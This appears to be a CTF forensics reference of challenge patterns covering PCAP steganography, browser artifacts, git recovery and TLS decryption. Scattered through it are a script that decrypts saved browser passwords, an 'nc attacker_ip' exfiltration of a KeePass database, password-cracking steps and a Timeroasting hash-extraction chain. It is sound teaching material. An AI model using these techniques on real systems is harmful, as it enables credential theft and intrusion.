# Find config blob (not layer blobs)
python3 -m json.tool blobs/sha256/<config_hash> | grep -A2 "created_by"
# Look for RUN commands with flag data, passwords, secretsAnalysis steps: 1. Extract the Docker image tar: tar xf app.tar 2. Read manifest.json to find the config blob hash 3. Parse the config blob JSON for history[].created_by entries 4. Each entry shows the exact Dockerfile command that was run 5. Secrets echoed, written, or processed in any RUN command are preserved in the history 6. Even if a later layer rm -f secret.txt, the RUN echo "flag{...}" > secret.txt remains visible
---
Browser Credential Decryption
Chrome/Edge Login Data decryption (requires master_key.txt):
from Crypto.Cipher import AES
import sqlite3, json, base64
# Load master key (from Local State file, DPAPI-protected)
with open('master_key.txt', 'rb') as f:
master_key = f.read()
conn = sqlite3.connect('Login Data')
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
for url, user, encrypted_pw in cursor.fetchall():
# v10/v11 prefix = AES-GCM encrypted
nonce = encrypted_pw[3:15]
ciphertext = encrypted_pw[15:-16]
tag = encrypted_pw[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
password = cipher.decrypt_and_verify(ciphertext, tag)
print(f"{url}: {user}:{password.decode()}")Master key extraction from Local State:
import json, base64
with open('Local State', 'r') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
# Remove DPAPI prefix (5 bytes "DPAPI")
encrypted_key = encrypted_key[5:]
# On Windows: CryptUnprotectData to get master_key
# In CTF: master_key may be provided separately---
Firefox Browser History (places.sqlite)
Pattern (Browser Wowser): Flag hidden in browser history URLs.
# Quick method
strings places.sqlite | grep -i "flag\|MetaCTF"
# Proper forensic method
sqlite3 places.sqlite "SELECT url FROM moz_places WHERE url LIKE '%flag%'"Key tables: moz_places (URLs), moz_bookmarks, moz_cookies
---
USB Audio Extraction from PCAP
Pattern (Talk To Me): USB isochronous transfers contain audio data.
Extraction workflow:
# Export ISO data with tshark
tshark -r capture.pcap -T fields -e usb.iso.data > audio_data.txt
# Convert to raw audio and import into Audacity
# Settings: signed 16-bit PCM, mono, appropriate sample rate
# Listen for spoken flag charactersIdentification: USB transfer type URB_ISOCHRONOUS = real-time audio/video
---
TFTP Netascii Decoding
Problem: TFTP netascii mode corrupts binary transfers; Wireshark doesn't auto-decode.
Fix exported files:
# Replace netascii sequences:
# 0d 0a → 0a (CRLF → LF)
# 0d 00 → 0d (escaped CR)
with open('file_raw', 'rb') as f:
data = f.read()
data = data.replace(b'\r\n', b'\n').replace(b'\r\x00', b'\r')
with open('file_fixed', 'wb') as f:
f.write(data)---
TLS Traffic Decryption via Weak RSA
Pattern (Tampered Seal): TLS 1.2 with TLS_RSA_WITH_AES_256_CBC_SHA (no PFS).
Attack flow: 1. Extract server certificate from Server Hello packet (Export Packet Bytes -> public.der) 2. Get modulus: openssl x509 -in public.der -inform DER -noout -modulus 3. Factor weak modulus (dCode, factordb.com, yafu) 4. Generate private key: rsatool -p P -q Q -o private.pem 5. Add to Wireshark: Edit -> Preferences -> TLS -> RSA keys list
After decryption:
- Follow TLS streams to see HTTP traffic
- Export objects (File -> Export Objects -> HTTP)
- Look for downloaded executables, API calls
---
ROT18 Decoding
ROT13 on letters + ROT5 on digits. Common final layer in multi-stage forensics:
def rot18(text):
result = []
for c in text:
if c.isalpha():
base = ord('a') if c.islower() else ord('A')
result.append(chr((ord(c) - base + 13) % 26 + base))
elif c.isdigit():
result.append(str((int(c) + 5) % 10))
else:
result.append(c)
return ''.join(result)---
Common Encodings
echo "base64string" | base64 -d
echo "hexstring" | xxd -r -p
# ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'---
Git Directory Recovery (UTCTF 2024)
# Exposed .git directory on web server
gitdumper.sh https://target/.git/ /tmp/repo
# Check reflog for old commits with secrets
cat .git/logs/HEAD
# Download objects from .git/objects/XX/YYYY, decompress with zlibTool: gitdumper.sh from internetwache/GitTools is most reliable.
---
KeePass Database Extraction and Cracking (H7CTF 2025)
Pattern (Moby Dock): KeePass database (.kdbx) found on compromised system contains SSH keys or credentials for lateral movement.
Transfer from remote system:
# On target: base64 encode and send via netcat
base64 .system.kdbx | nc attacker_ip 4444
# On attacker: receive and decode
nc -lvnp 4444 > kdbx.b64 && base64 -d kdbx.b64 > system.kdbxCracking KeePass v4 databases:
# Standard keepass2john (KeePass v3 only)
keepass2john system.kdbx > hash.txt
# For KeePass v4 (KDBX 4.x with Argon2): use custom fork
git clone https://github.com/ivanmrsulja/keepass2john.git
cd keepass2john && make
./keepass2john system.kdbx > hash.txt
# Alternative: keepass4brute (direct brute-force)
python3 keepass4brute.py -d wordlist.txt system.kdbxWordlist generation from challenge context:
# Generate wordlist from related website content
cewl http://target:8080 -d 2 -m 5 -w cewl_words.txt
# Add theme-related keywords manually
echo -e "expectopatronum\nharrypotter\nalohomora" >> cewl_words.txt
# Crack with hashcat (Argon2 = mode 13400)
hashcat -m 13400 hash.txt cewl_words.txtAfter cracking — extract credentials: 1. Open .kdbx in KeePassXC with recovered password 2. Check all entries for SSH private keys, passwords, API tokens 3. SSH keys are typically stored in the "Notes" or "Advanced" attachment fields
Key insight: Standard keepass2john does not support KeePass v4 (KDBX 4.x) databases that use Argon2 key derivation. Use the ivanmrsulja/keepass2john fork or keepass4brute for v4 support. Generate context-aware wordlists with cewl targeting related web services.
---
Git Reflog and fsck for Squashed Commit Recovery (BearCatCTF 2026)
Pattern (Poem About Pirates): Git repository with clean history where data was overwritten and history rewritten via git rebase --squash. The original commits survive as orphaned objects.
Recovery steps:
# Check reflog for rebase/squash operations
git reflog --all
# Find orphaned (unreachable) commits
git fsck --unreachable --no-reflogs
# Inspect each unreachable commit
git show <commit-hash>
git diff <commit-hash>^ <commit-hash>
# Extract specific file version from orphaned commit
git show <commit-hash>:path/to/fileKey insight: git rebase --squash removes commits from the branch history but doesn't delete the underlying objects. They remain as unreachable objects until garbage collection runs (git gc). Even after git gc, objects younger than the expiry period (default 2 weeks) survive. Always check git reflog and git fsck --unreachable when investigating git repos for hidden data.
Detection: Git repo with suspiciously clean history (single commit, or squash-merge commits). Challenge mentions "rewrite", "rebase", "squash", or "clean history".
---
Browser Artifact Analysis
Chrome/Chromium
# Default profile locations
# Linux: ~/.config/google-chrome/Default/
# macOS: ~/Library/Application Support/Google/Chrome/Default/
# Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\
# History (SQLite)
sqlite3 "History" "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 50;"
# Downloads
sqlite3 "History" "SELECT target_path, tab_url, datetime(start_time/1000000-11644473600,'unixepoch') FROM downloads;"
# Cookies (encrypted on modern Chrome — need DPAPI/keychain key)
sqlite3 "Cookies" "SELECT host_key, name, datetime(expires_utc/1000000-11644473600,'unixepoch') FROM cookies;"
# Login Data (passwords — encrypted)
sqlite3 "Login Data" "SELECT origin_url, username_value FROM logins;"
# Bookmarks (JSON)
cat Bookmarks | python3 -m json.tool | grep -A2 '"url"'
# Local Storage / IndexedDB — LevelDB format
# Use leveldb-dump or strings on LevelDB files
strings "Local Storage/leveldb/"*.ldb | grep -i flagFirefox
# Profile location: ~/.mozilla/firefox/*.default-release/
# Find profile
ls ~/.mozilla/firefox/ | grep default
# History + bookmarks (places.sqlite)
sqlite3 places.sqlite "SELECT url, title, datetime(last_visit_date/1000000,'unixepoch') FROM moz_places WHERE last_visit_date IS NOT NULL ORDER BY last_visit_date DESC LIMIT 50;"
# Form history
sqlite3 formhistory.sqlite "SELECT fieldname, value FROM moz_formhistory;"
# Saved passwords (requires key4.db + logins.json)
# Use firefox_decrypt: python3 firefox_decrypt.py ~/.mozilla/firefox/PROFILE/
# Session restore (previous tabs)
python3 -c "
import json, lz4.block
with open('sessionstore-backups/recovery.jsonlz4','rb') as f:
f.read(8) # skip magic
data = json.loads(lz4.block.decompress(f.read()))
for w in data['windows']:
for t in w['tabs']:
print(t['entries'][-1]['url'])
"Key insight: Browser artifacts are SQLite databases with non-standard timestamp formats. Chrome uses WebKit epoch (microseconds since 1601-01-01), Firefox uses Unix epoch in microseconds. Always check History, Cookies, Login Data, Local Storage, and session restore files. For encrypted passwords, you need the master key (DPAPI on Windows, keychain on macOS, key4.db on Firefox).
---
Corrupted Git Blob Repair via Byte Brute-Force (CSAW CTF 2015)
Pattern (sharpturn): Git repository with corrupted blob objects. Since git identifies objects by SHA-1 hash, a single-byte corruption changes the hash, making the object unreadable. Repair by brute-forcing each byte position until git hash-object produces the expected hash.
import subprocess, shutil
def repair_blob(filepath, target_hash):
"""Brute-force single-byte corruption in a git blob."""
with open(filepath, 'rb') as f:
data = bytearray(f.read())
for pos in range(len(data)):
original = data[pos]
for val in range(256):
if val == original:
continue
data[pos] = val
with open(filepath, 'wb') as f:
f.write(data)
result = subprocess.run(
['git', 'hash-object', filepath],
capture_output=True, text=True
)
if result.stdout.strip() == target_hash:
print(f"Fixed byte {pos}: 0x{original:02x} -> 0x{val:02x}")
return True
data[pos] = original
with open(filepath, 'wb') as f:
f.write(data)
return FalseWorkflow: 1. git fsck to identify corrupted objects and their expected hashes 2. Locate the corrupt blob files in .git/objects/ 3. Decompress with python3 -c "import zlib; print(zlib.decompress(open('blob','rb').read()))" 4. Brute-force each byte position (256 values * file_size attempts) 5. Verify with git hash-object matching the expected hash
Key insight: Git's content-addressable storage means the expected SHA-1 hash is known from the commit tree, even when the blob is corrupted. Single-byte corruption is brute-forceable in seconds. For multi-byte corruption, combine with contextual knowledge (e.g., source code must compile, numeric constants must be valid).
CTF Forensics - Network (Advanced)
Table of Contents
- Packet Interval Timing-Based Encoding (EHAX 2026)
- USB HID Mouse/Pen Drawing Recovery (EHAX 2026)
- NTLMv2 Hash Cracking from PCAP (Pragyan 2026)
- TCP Flag Covert Channel (BearCatCTF 2026)
- DNS Query Name Last-Byte Steganography (UTCTF 2026)
- DNS Trailing Byte Binary Encoding (UTCTF 2026)
- Multi-Layer PCAP with XOR + ZIP (UTCTF 2026)
- Brotli Decompression Bomb Seam Analysis (BearCatCTF 2026)
- SMB RID Recycling via LSARPC (Midnight 2026)
- Timeroasting / MS-SNTP Hash Extraction (Midnight 2026)
- ICMP Payload Steganography with Byte Rotation (HackIM 2016)
- Packet Reconstruction via Checksum Validation (Break In 2016)
---
Packet Interval Timing-Based Encoding (EHAX 2026)
Pattern (Breathing Void): Large PCAPNG with millions of packets, but only a few hundred on one interface carry data. The signal is in the timing gaps between identical packets, not their content.
Identification: Challenge mentions "breathing", "void", "silence", or timing. PCAP has many interfaces but only one has interesting traffic. Packets are identical but spaced at two distinct intervals.
Decoding workflow:
from scapy.all import rdpcap
packets = rdpcap('challenge.pcapng')
# 1. Filter to the right interface (e.g., interface 2)
# tshark: tshark -r challenge.pcapng -Y "frame.interface_id == 2" -T fields -e frame.time_epoch
# 2. Compute inter-packet intervals
times = [float(pkt.time) for pkt in packets if pkt.sniffed_on == 'interface_2']
intervals = [times[i+1] - times[i] for i in range(len(times)-1)]
# 3. Identify binary mapping (two distinct interval values)
# E.g., 10ms → 0, 100ms → 1 (threshold at ~50ms)
threshold = 0.05 # 50ms
bits = [0 if dt < threshold else 1 for dt in intervals]
# 4. May need to prepend a leading 0 bit (first interval has no predecessor)
bits = [0] + bits
# 5. Convert bits to bytes (MSB-first)
data = bytes(int(''.join(str(b) for b in bits[i:i+8]), 2)
for i in range(0, len(bits) - 7, 8))
print(data.decode(errors='replace'))Key insight: When identical packets appear on a single interface with only two practical interval values, it's almost certainly binary encoding via timing. The content is noise — the signal is in the gaps. Filter by interface and count unique intervals first.
Scale tip: Large PCAPs (millions of packets) often have the signal in a tiny subset. Triage with tshark -q -z io,phs to find which interface has the fewest packets — that's likely the data carrier. ---
USB HID Mouse/Pen Drawing Recovery (EHAX 2026)
Pattern (Painter): PCAP contains USB HID interrupt transfers from a mouse/pen device. Drawing data encoded as relative movements with multiple draw modes.
Packet format (7-byte HID reports):
| Byte | Field | Notes |
|---|---|---|
| 0 | Button state | 0x01 = pressed (may be constant) |
| 1 | Mode/pad | 0=hover, 1=draw mode 1, 2=draw mode 2 |
| 2-3 | dx (int16 LE) | Relative X movement |
| 4-5 | dy (int16 LE) | Relative Y movement |
| 6 | Wheel | Usually 0 |
Extraction and rendering:
import struct
from PIL import Image, ImageDraw
# Extract HID data
# tshark -r capture.pcap -Y "usb.transfer_type==1" -T fields -e usb.capdata
packets = []
with open('hid_data.txt') as f:
for line in f:
raw = bytes.fromhex(line.strip().replace(':', ''))
if len(raw) >= 7:
btn = raw[0]
mode = raw[1]
dx = struct.unpack('<h', raw[2:4])[0]
dy = struct.unpack('<h', raw[4:6])[0]
packets.append((btn, mode, dx, dy))
# Accumulate positions per mode
SCALE = 5
positions = {0: [], 1: [], 2: []}
x, y = 0, 0
for btn, mode, dx, dy in packets:
x += dx
y += dy
positions[mode].append((x, y))
# Render each mode separately (different colors = different text layers)
for mode in [1, 2]:
pts = positions[mode]
if not pts:
continue
min_x = min(p[0] for p in pts) - 100
min_y = min(p[1] for p in pts) - 100
max_x = max(p[0] for p in pts) + 100
max_y = max(p[1] for p in pts) + 100
w = (max_x - min_x) * SCALE
h = (max_y - min_y) * SCALE
img = Image.new('RGB', (w, h), 'white')
draw = ImageDraw.Draw(img)
for i in range(1, len(pts)):
x0 = (pts[i-1][0] - min_x) * SCALE
y0 = (pts[i-1][1] - min_y) * SCALE
x1 = (pts[i][0] - min_x) * SCALE
y1 = (pts[i][1] - min_y) * SCALE
# Skip long jumps (pen lifts)
if abs(pts[i][0]-pts[i-1][0]) < 50 and abs(pts[i][1]-pts[i-1][1]) < 50:
draw.line([(x0,y0),(x1,y1)], fill='black', width=3)
img.save(f'mode_{mode}.png')Key techniques:
- Separate modes: Different button/mode values draw different text layers — render each independently
- Skip pen lifts: Large dx/dy jumps indicate pen was lifted, not drawn — filter by distance threshold
- High resolution: Scale 5-8x with margins for readable handwriting
- Time gradient: Color points by temporal order (rainbow gradient) to trace stroke direction
- Character segmentation: Group consecutive same-mode points by large X gaps to isolate characters
Alternative: AWK extraction + SVG rendering (faster pipeline):
# Extract capdata and convert to signed deltas in one pass
tshark -r pref.pcap -Y "usb.transfer_type==0x01 && usb.endpoint_address==0x81 && usb.capdata" \
-T fields -e usb.capdata > capdata.txt
awk '
function hexval(c){ return index("0123456789abcdef",tolower(c))-1 }
function hex2dec(h, n,i){ n=0; for(i=1;i<=length(h);i++) n=n*16+hexval(substr(h,i,1)); return n }
function s16(u){ return (u>=32768)?u-65536:u }
{ d=$1; if(length(d)!=14) next
btn=hex2dec(substr(d,3,2))
x=s16(hex2dec(substr(d,7,2) substr(d,5,2)))
y=s16(hex2dec(substr(d,11,2) substr(d,9,2)))
print btn, x, y }' capdata.txt > deltas.txtThen render with SVG (Python) — filter on pen-down state (button=2), accumulate deltas, flip Y axis, draw strokes between consecutive pen-down points.
Difference from keyboard HID: Mouse HID uses relative movements (accumulated), keyboard uses keycodes (direct). Mouse drawing requires rendering; keyboard requires keymap lookup.
---
NTLMv2 Hash Cracking from PCAP (Pragyan 2026)
Pattern ($whoami): SMB2 authentication in packet capture.
Extraction: From NTLMSSP_AUTH packet, extract: server challenge, NTProofStr, and blob.
Brute-force with known password format:
import hashlib, hmac
from Crypto.Hash import MD4
def try_password(password, username, domain, server_challenge, blob, expected_proof):
nt_hash = MD4.new(password.encode('utf-16-le')).digest()
identity = (username.upper() + domain).encode('utf-16-le')
ntlmv2_hash = hmac.new(nt_hash, identity, hashlib.md5).digest()
proof = hmac.new(ntlmv2_hash, server_challenge + blob, hashlib.md5).digest()
return proof == expected_proof---
TCP Flag Covert Channel (BearCatCTF 2026)
Pattern (pCapsized): Suspicious TCP packets with chaotic flag combinations (FIN+SYN, SYN+RST+PSH+URG, etc.). The 6 TCP flag bits encode base64 characters.
Decoding:
from scapy.all import rdpcap, TCP
pkts = rdpcap('capture.pcap')
suspicious = [p for p in pkts if TCP in p and p[TCP].dport == 5748]
# Map 6-bit flag value to base64 alphabet
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
encoded = ''.join(b64[p[TCP].flags & 0x3F] for p in suspicious)
import base64
flag = base64.b64decode(encoded).decode()Key insight: TCP has 6 standard flag bits (FIN, SYN, RST, PSH, ACK, URG) = values 0-63, matching the base64 alphabet exactly. Unusual flag combinations on otherwise normal-looking packets indicate covert channel usage. Filter by destination port or source IP to isolate the channel.
Detection: Packets with nonsensical flag combinations (e.g., FIN+SYN simultaneously). Consistent destination port. Packet count is a multiple of 4 (base64 alignment).
---
DNS Query Name Last-Byte Steganography (UTCTF 2026)
Pattern (Last Byte Standing): PCAP with DNS queries where data is encoded in the last byte of each query name.
Identification: Many DNS queries to unusual or sequential subdomains. The meaningful data is NOT in the query name itself but in the final byte/character of each name.
Decoding workflow:
from scapy.all import rdpcap, DNS, DNSQR
packets = rdpcap('last-byte-standing.pcap')
data = []
for pkt in packets:
if pkt.haslayer(DNSQR):
qname = pkt[DNSQR].qname.decode(errors='replace').rstrip('.')
if qname:
data.append(qname[-1]) # Last character of query name
# Reconstruct message from last bytes
message = ''.join(data)
print(message)
# May need additional decoding (hex, base64, etc.)Variants:
- Last byte of each subdomain label (split on
.) - Specific character position (first, Nth, last)
- Hex-encoded bytes across multiple queries
- Subdomain labels as base32/base64 chunks (DNS tunneling)
- Trailing byte after DNS question structure (see below)
Key insight: DNS exfiltration often hides data in query names. When queries look random but follow a pattern, extract specific character positions. The "last byte" pattern is simple but effective — each query contributes one byte to the message.
Detection: Large number of DNS queries to a single domain, queries with no legitimate purpose, sequential or patterned subdomain names.
DNS Trailing Byte Binary Encoding (UTCTF 2026)
Pattern (Last Byte Standing variant): Each DNS query packet contains a single extra byte appended AFTER the standard DNS question structure (after the null terminator + Type A + Class IN fields). The extra byte is 0x30 ('0') or 0x31 ('1'), encoding one bit per packet.
Decoding workflow:
from scapy.all import rdpcap, DNS, DNSQR, Raw
packets = rdpcap('challenge.pcap')
bits = []
for pkt in packets:
if pkt.haslayer(DNSQR):
# Get raw DNS payload
raw = bytes(pkt[DNS])
# Standard DNS question ends at: header(12) + qname + null(1) + type(2) + class(2)
qname = pkt[DNSQR].qname
expected_len = 12 + len(qname) + 1 + 2 + 2 # +1 for leading length byte
if len(raw) > expected_len:
trailing = raw[expected_len:]
for b in trailing:
bits.append(chr(b)) # '0' or '1'
# Convert bit string to ASCII (MSB-first, 8-bit chunks)
bitstring = ''.join(bits)
flag = ''.join(chr(int(bitstring[i:i+8], 2)) for i in range(0, len(bitstring) - 7, 8))
print(flag)Key insight: Data is hidden not in the DNS query name but in extra bytes padding the packet after the question record. Wireshark hex inspection reveals non-standard packet lengths. Each trailing byte represents ASCII '0' or '1', forming a binary stream that decodes to the flag.
Detection: DNS packets slightly larger than expected for their query name. Hex dump shows 0x30/0x31 bytes after the Class IN field (00 01). Consistent query domain across all packets.
---
Multi-Layer PCAP with XOR + ZIP (UTCTF 2026)
Pattern (Half Awake): PCAP with multiple protocol layers hiding data. Requires protocol-aware extraction, XOR decryption with a key found in-band, and merging parallel data streams.
Detailed workflow:
1. Inspect HTTP streams for instructions or hints (e.g., "mDNS names are hints", "Not every TCP blob is what it pretends to be") 2. Identify fake protocol streams: A TCP stream labeled as TLS may actually contain a raw ZIP file (PK magic bytes 50 4b). Check raw hex of suspicious streams 3. Extract XOR key from mDNS: Look for mDNS TXT records (e.g., key.version.local) containing the XOR key 4. XOR-decrypt the extracted data using the mDNS key 5. Merge parallel datasets using printability as selector
import string
from scapy.all import rdpcap, Raw, DNS, DNSRR
packets = rdpcap('half-awake.pcap')
# 1. Extract XOR key from mDNS TXT record
xor_key = None
for pkt in packets:
if pkt.haslayer(DNSRR):
rr = pkt[DNSRR]
if b'key' in rr.rrname.lower():
xor_key = int(rr.rdata, 16) # e.g., 0xb7
# 2. Extract fake TLS stream (look for PK header in raw TCP data)
# Use Wireshark: tcp.stream eq N → Export raw bytes
# Or extract with scapy by filtering the right stream
# 3. XOR-decrypt two datasets from ZIP contents
def xor_decrypt(data, key):
return bytes(b ^ key for b in data)
p1 = xor_decrypt(stage1_data, xor_key)
p2 = xor_decrypt(stage2_data, xor_key)
# 4. Merge using printability: take the printable character from each position
flag = ''.join(
chr(p1[i]) if chr(p1[i]) in string.printable and chr(p1[i]).isprintable()
else chr(p2[i])
for i in range(len(p1))
)
print(flag)Key insight: When a PCAP contains two XOR-decoded byte arrays of equal length where neither alone produces readable text, merge them character-by-character using printability as the selector — take whichever byte at each position is a printable ASCII character. The XOR key is often hidden in an in-band protocol like mDNS TXT records rather than requiring brute-force.
Indicators:
- HTTP stream with meta-instructions ("not every TCP blob is what it pretends to be")
- TCP stream with mismatched protocol dissection (Wireshark shows TLS but raw bytes contain PK/ZIP headers)
- mDNS queries for suspicious service names (e.g.,
key.version.local) - Two data files of identical length in extracted archive
---
Brotli Decompression Bomb Seam Analysis (BearCatCTF 2026)
Pattern (Cursed Map): HTTP download of a file that decompresses to gigabytes (decompression bomb). The flag is sandwiched between two bomb halves at a seam in the compressed data.
Identification: Compressed data shows a repeating block pattern (e.g., 105-byte period). One block breaks the pattern — the flag is at this discontinuity.
import brotli
with open('flag.txt.br', 'rb') as f:
data = f.read()
# Find the repeating block size
block_size = 105 # Determined by comparing adjacent blocks
for i in range(0, len(data) - block_size, block_size):
if data[i:i+block_size] != data[i+block_size:i+2*block_size]:
seam_offset = i + block_size
break
# Decompress only the anomalous block
dec = brotli.Decompressor()
result = dec.process(data[seam_offset:seam_offset+block_size])
# Flag is in the decompressed outputKey insight: Decompression bombs use highly repetitive compressed data. The flag breaks this repetition, creating a detectable anomaly in the compressed stream. Compare adjacent fixed-size blocks to find the discontinuity, then decompress only that region — no need to decompress the entire multi-gigabyte output.
Detection: File with extreme compression ratio (MB → GB), HTTP Content-Encoding: br, or file identified as Brotli. Tools hang or OOM when trying to decompress.
---
SMB RID Recycling via LSARPC (Midnight 2026)
Pattern (UntilTime): PCAP with SMB2 authentication followed by RPC calls over \pipe\lsarpc. The attacker enumerates Active Directory accounts by iterating RIDs (Relative Identifiers) through LSARPC functions.
Identification: SMB2 session setup with multiple authentication attempts (null session, Guest, random username), followed by RPC bind to LSARPC and repeated LsaLookupSids calls with incrementing RIDs.
Wireshark analysis:
# Filter SMB2 authentication attempts from attacker IP
tshark -r capture.pcapng -Y "ip.src == 198.51.100.16 && smb2.cmd == 1"
# Look for LSARPC RPC calls
tshark -r capture.pcapng -Y "dcerpc.cn_bind_to_str contains lsarpc"RPC call sequence: 1. LsaOpenPolicy — opens a policy handle on the target 2. LsaQueryInformationPolicy — extracts the domain SID (e.g., S-1-5-21-...) 3. LsaLookupSids — resolves SIDs to account names by iterating RIDs (1000, 1001, 1002, ...)
Key insight: Guest account authentication (often enabled by default) grants enough access to enumerate domain accounts via LSARPC. The attacker constructs SIDs by appending incrementing RIDs to the domain SID and calling LsaLookupSids for each. Valid accounts return their name; invalid RIDs return errors. This technique is called RID cycling or RID brute-forcing.
Detection indicators:
- Multiple
LsaLookupSidsrequests with sequential RIDs - Guest authentication success followed by RPC pipe connection
- High volume of LSARPC traffic from a single source
---
Timeroasting / MS-SNTP Hash Extraction (Midnight 2026)
Pattern (UntilTime): After enumerating valid machine account RIDs via RID recycling, the attacker sends NTP requests with those RIDs to extract HMAC-MD5 authentication material from the domain controller's MS-SNTP responses.
Background: Microsoft's MS-SNTP extends standard NTP with Netlogon authentication in Active Directory environments. The client places a domain RID in the NTP Key Identifier field (4 bytes, little-endian). The domain controller responds with an HMAC-MD5 signature derived from the machine account's NTLM hash — leaking crackable authentication material.
Wireshark extraction:
# Filter NTP traffic from attacker
tshark -r capture.pcapng -Y "ntp && ip.src == 10.16.13.13" -T fields -e udp.payloadConvert Key Identifier to RID:
# NTP Key Identifier is 4 bytes, little-endian
echo "<key_id_hex>" | sed 's/\(..\)/\1 /g' | awk '{print "0x"$4$3$2$1}' | xargs printf "%d\n"NTP response payload structure (68 bytes):
| Offset | Length | Field |
|---|---|---|
| 0-47 | 48 | Salt (NTP header + extensions) |
| 48-51 | 4 | Key Identifier (RID, little-endian) |
| 52-67 | 16 | HMAC-MD5 crypto-checksum |
Hash reconstruction for Hashcat (mode 31300):
import sys
from struct import unpack
def to_hashcat_form(hex_payload):
data = bytes.fromhex(hex_payload.strip())
salt = data[:48]
rid = unpack('<I', data[-20:-16])[0]
md5hash = data[-16:]
return f"{rid}:$sntp-ms${md5hash.hex()}${salt.hex()}"
if len(sys.argv) != 2:
print("Usage: python sntp_to_hashcat.py <hex_payload>")
sys.exit(1)
print(to_hashcat_form(sys.argv[1]))Cracking with Hashcat:
# Mode 31300 = MS-SNTP (Timeroasting)
hashcat -m 31300 -a 0 -O hashes.txt rockyou.txt --usernameExample hash format:
1108:$sntp-ms$d7d0422d66705c6189c1d20aed76baa4$1c0111e900000000000a09314c4f434ced4c979d652b89f1e1b8428bffbfcd0aed4ca3bbb1338716ed4ca3bbb133cf3aKey insight: MS-SNTP responses from domain controllers leak HMAC-MD5 authentication material tied to machine account NTLM hashes. Unlike Kerberoasting (which targets service accounts), Timeroasting targets machine accounts whose passwords are often weak or predictable (e.g., lowercase hostname). Any valid RID triggers a response — no special privileges required beyond network access to the DC's NTP service (UDP 123).
Full attack chain: 1. Authenticate to SMB as Guest 2. Enumerate valid RIDs via LSARPC RID recycling 3. Send MS-SNTP requests with discovered RIDs 4. Extract HMAC-MD5 hashes from NTP responses 5. Crack offline with Hashcat mode 31300
---
ICMP Payload Steganography with Byte Rotation (HackIM 2016)
Data hidden in ICMP echo request/reply payloads with byte-level rotation encoding:
from scapy.all import rdpcap, ICMP
packets = rdpcap('challenge.pcap')
icmp_data = b''
for pkt in packets:
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # Echo request
icmp_data += bytes(pkt[ICMP].payload)
# Apply byte rotation (Caesar cipher on bytes)
SHIFT = 42
decoded = bytes((b - SHIFT) % 256 for b in icmp_data)
# Result may be base64-encoded
import base64
plaintext = base64.b64decode(decoded)Key insight: ICMP payloads are often ignored by analysts focused on TCP/UDP. Check for non-standard payload sizes or non-zero data in ICMP packets. Common encoding layers: byte rotation -> base64 -> shell commands.
---
Packet Reconstruction via Checksum Validation (Break In 2016)
Reconstruct corrupted/incomplete packets by using protocol checksums as validation:
1. Identify missing bytes from packet structure analysis (Ethernet, IP, TCP headers) 2. Brute-force missing values and validate against:
- IP header checksum (16-bit ones' complement)
- TCP checksum (includes pseudo-header)
3. Extract data from reconstructed payload
import struct
def ip_checksum(header_bytes):
"""Compute IP header checksum"""
words = struct.unpack('!' + 'H' * (len(header_bytes) // 2), header_bytes)
s = sum(words)
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return ~s & 0xFFFF
# Brute-force missing byte to match expected checksum
for candidate in range(256):
header = header_template[:missing_offset] + bytes([candidate]) + header_template[missing_offset+1:]
if ip_checksum(header) == 0: # Valid checksum sums to 0
print(f"Missing byte: 0x{candidate:02x}")Key insight: Protocol checksums constrain missing data. For single missing bytes, brute-force is instant. For multiple missing bytes, use TCP sequence numbers and MAC/IP header structure to reduce the search space.
---
See also: network.md for basic network forensics techniques (tcpdump, TLS/SSL decryption, Wireshark, port scanning, SMB3 decryption, credential extraction, 5G protocols).
CTF Forensics - Network
Table of Contents
- tcpdump Quick Reference
- TLS/SSL Decryption via Keylog File
- Wireshark Basics
- Port Scan Analysis
- Gateway/Device via MAC OUI
- WordPress Reconnaissance
- Post-Exploitation Traffic
- Credential Extraction
- SMB3 Encrypted Traffic
- 5G/NR Protocol Analysis
- Email Headers
- USB HID Stenography/Chord PCAP (UTCTF 2024)
- BCD Encoding in UDP (VuwCTF 2025)
- HTTP File Upload Exfiltration in PCAP (MetaCTF 2026)
- TLS Master Key Extraction from Coredump (PlaidCTF 2014)
- Split Archive Reassembly from HTTP Transfers (ASIS CTF Finals 2013)
---
tcpdump Quick Reference
Command-line packet capture tool for quick network forensics triage.
# Basic capture on interface
sudo tcpdump -i eth0
# Capture to file
sudo tcpdump -i eth0 -w capture.pcap
# Filter by source IP
sudo tcpdump -i eth0 src 192.168.1.100
# Filter by destination port
sudo tcpdump -i eth0 dst port 80
# Combined filter with file output
sudo tcpdump -i eth0 -w packets.pcap 'src 172.22.206.250 and port 443'
# Read from file with verbose output
tcpdump -r capture.pcap -v
# Show packet contents in ASCII
tcpdump -r capture.pcap -A
# Show hex + ASCII dump
tcpdump -r capture.pcap -X
# Count total packets
tcpdump -r capture.pcap -q | wc -lCommon filters:
| Filter | Description |
|---|---|
host 10.0.0.1 | Traffic to/from IP |
net 192.168.1.0/24 | Entire subnet |
port 80 | HTTP traffic |
tcp / udp / icmp | Protocol filter |
src host X and dst port Y | Combined |
Key insight: Use tcpdump for quick command-line triage when Wireshark is unavailable. Pipe to strings or grep for fast flag hunting: tcpdump -r capture.pcap -A | grep -i flag.
---
TLS/SSL Decryption via Keylog File
To decrypt TLS traffic in Wireshark, provide either the pre-master secret or a keylog file.
Method 1 — SSLKEYLOGFILE (client-side key logging):
If the challenge provides a keylog file (or you can set SSLKEYLOGFILE):
# Set environment variable before running the client
export SSLKEYLOGFILE=/tmp/sslkeys.log
curl https://target/secret
# Import into Wireshark:
# Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename → /tmp/sslkeys.logKeylog file format (NSS Key Log Format):
CLIENT_RANDOM <32_bytes_client_random_hex> <48_bytes_master_secret_hex>Method 2 — RSA private key (if server key is known):
Note: Only works with RSA key exchange. Sessions using forward secrecy (ECDHE/DHE cipher suites) cannot be decrypted with the server's private key — use Method 1 instead. CTF challenges with weak RSA keys typically use RSA key exchange.
